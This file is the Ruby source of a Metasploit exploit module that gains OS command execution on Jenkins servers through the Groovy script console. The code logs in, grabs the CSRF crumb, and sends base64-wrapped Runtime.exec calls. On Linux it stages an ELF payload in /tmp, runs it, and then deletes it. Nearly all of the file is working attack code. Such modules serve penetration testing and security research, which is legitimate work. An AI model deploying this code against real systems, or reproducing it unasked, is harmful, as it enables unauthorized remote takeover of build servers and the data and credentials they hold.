194 lines
6.1 KiB
Ruby
194 lines
6.1 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Jenkins Script-Console Java Execution',
|
|
'Description' => %q{
|
|
This module uses the Jenkins Groovy script console to execute
|
|
OS commands using Java.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Spencer McIntyre',
|
|
'jamcut'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'DefaultOptions' =>
|
|
{
|
|
'WfsDelay' => '10',
|
|
},
|
|
'References' =>
|
|
[
|
|
['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
|
|
],
|
|
'Platform' => %w{ win linux unix },
|
|
'Targets' =>
|
|
[
|
|
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}],
|
|
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
|
|
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
|
|
],
|
|
'DisclosureDate' => 'Jan 18 2013',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
|
|
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
|
|
OptString.new('TARGETURI', [ true, 'The path to jenkins', '/jenkins/' ]),
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
uri = target_uri
|
|
uri.path = normalize_uri(uri.path)
|
|
uri.path << "/" if uri.path[-1, 1] != "/"
|
|
res = send_request_cgi({'uri' => "#{uri.path}login"})
|
|
if res and res.headers.include?('X-Jenkins')
|
|
return Exploit::CheckCode::Detected
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def on_new_session(client)
|
|
if not @to_delete.nil?
|
|
print_warning("Deleting #{@to_delete} payload file")
|
|
execute_command("rm #{@to_delete}")
|
|
end
|
|
end
|
|
|
|
def http_send_command(cmd, opts = {})
|
|
request_parameters = {
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(@uri.path, "script"),
|
|
'vars_post' =>
|
|
{
|
|
'script' => java_craft_runtime_exec(cmd),
|
|
'Submit' => 'Run'
|
|
}
|
|
}
|
|
request_parameters['cookie'] = @cookie if @cookie != nil
|
|
request_parameters['vars_post']['.crumb'] = @crumb if @crumb != nil
|
|
res = send_request_cgi(request_parameters)
|
|
if not (res and res.code == 200)
|
|
fail_with(Failure::Unknown, 'Failed to execute the command.')
|
|
end
|
|
end
|
|
|
|
def java_craft_runtime_exec(cmd)
|
|
decoder = Rex::Text.rand_text_alpha(5, 8)
|
|
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
|
|
cmd_array = Rex::Text.rand_text_alpha(5, 8)
|
|
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
|
|
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
|
|
|
|
jcode << "String [] #{cmd_array} = new String[3];\n"
|
|
if target['Platform'] == 'win'
|
|
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
|
|
jcode << "#{cmd_array}[1] = \"/c\";\n"
|
|
else
|
|
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
|
|
jcode << "#{cmd_array}[1] = \"-c\";\n"
|
|
end
|
|
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
|
|
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
|
|
jcode
|
|
end
|
|
|
|
def execute_command(cmd, opts = {})
|
|
vprint_status("Attempting to execute: #{cmd}")
|
|
http_send_command("#{cmd}")
|
|
end
|
|
|
|
def linux_stager
|
|
cmds = "echo LINE | tee FILE"
|
|
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
|
|
base64 = Rex::Text.encode_base64(exe)
|
|
base64.gsub!(/\=/, "\\u003d")
|
|
file = rand_text_alphanumeric(4+rand(4))
|
|
|
|
execute_command("touch /tmp/#{file}.b64")
|
|
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
|
|
base64.each_line do |line|
|
|
line.chomp!
|
|
cmd = cmds
|
|
cmd.gsub!(/LINE/, line)
|
|
execute_command(cmds)
|
|
end
|
|
|
|
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
|
|
execute_command("chmod +x /tmp/#{file}")
|
|
execute_command("rm /tmp/#{file}.b64")
|
|
|
|
execute_command("/tmp/#{file}")
|
|
@to_delete = "/tmp/#{file}"
|
|
end
|
|
|
|
def exploit
|
|
@uri = target_uri
|
|
@uri.path = normalize_uri(@uri.path)
|
|
@uri.path << "/" if @uri.path[-1, 1] != "/"
|
|
print_status('Checking access to the script console')
|
|
res = send_request_cgi({'uri' => "#{@uri.path}script"})
|
|
fail_with(Failure::Unknown, 'No Response received') if not res
|
|
|
|
@cookie = nil
|
|
@crumb = nil
|
|
if res.code != 200
|
|
print_status('Logging in...')
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
|
|
'vars_post' =>
|
|
{
|
|
'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
|
|
'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),
|
|
'Submit' => 'log in'
|
|
}
|
|
})
|
|
|
|
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
|
|
fail_with(Failure::NoAccess, 'Login failed')
|
|
end
|
|
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
|
|
@cookie = "#{sessionid}"
|
|
|
|
res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie})
|
|
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res and res.code == 200
|
|
else
|
|
print_status('No authentication required, skipping login...')
|
|
end
|
|
|
|
if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
|
|
print_status("Using CSRF token: '#{$1}'");
|
|
@crumb = $1;
|
|
end
|
|
|
|
case target['Platform']
|
|
when 'win'
|
|
print_status("#{rhost}:#{rport} - Sending command stager...")
|
|
execute_cmdstager({:linemax => 2049})
|
|
when 'unix'
|
|
print_status("#{rhost}:#{rport} - Sending payload...")
|
|
http_send_command("#{payload.encoded}")
|
|
when 'linux'
|
|
print_status("#{rhost}:#{rport} - Sending Linux stager...")
|
|
linux_stager
|
|
end
|
|
|
|
handler
|
|
end
|
|
end
|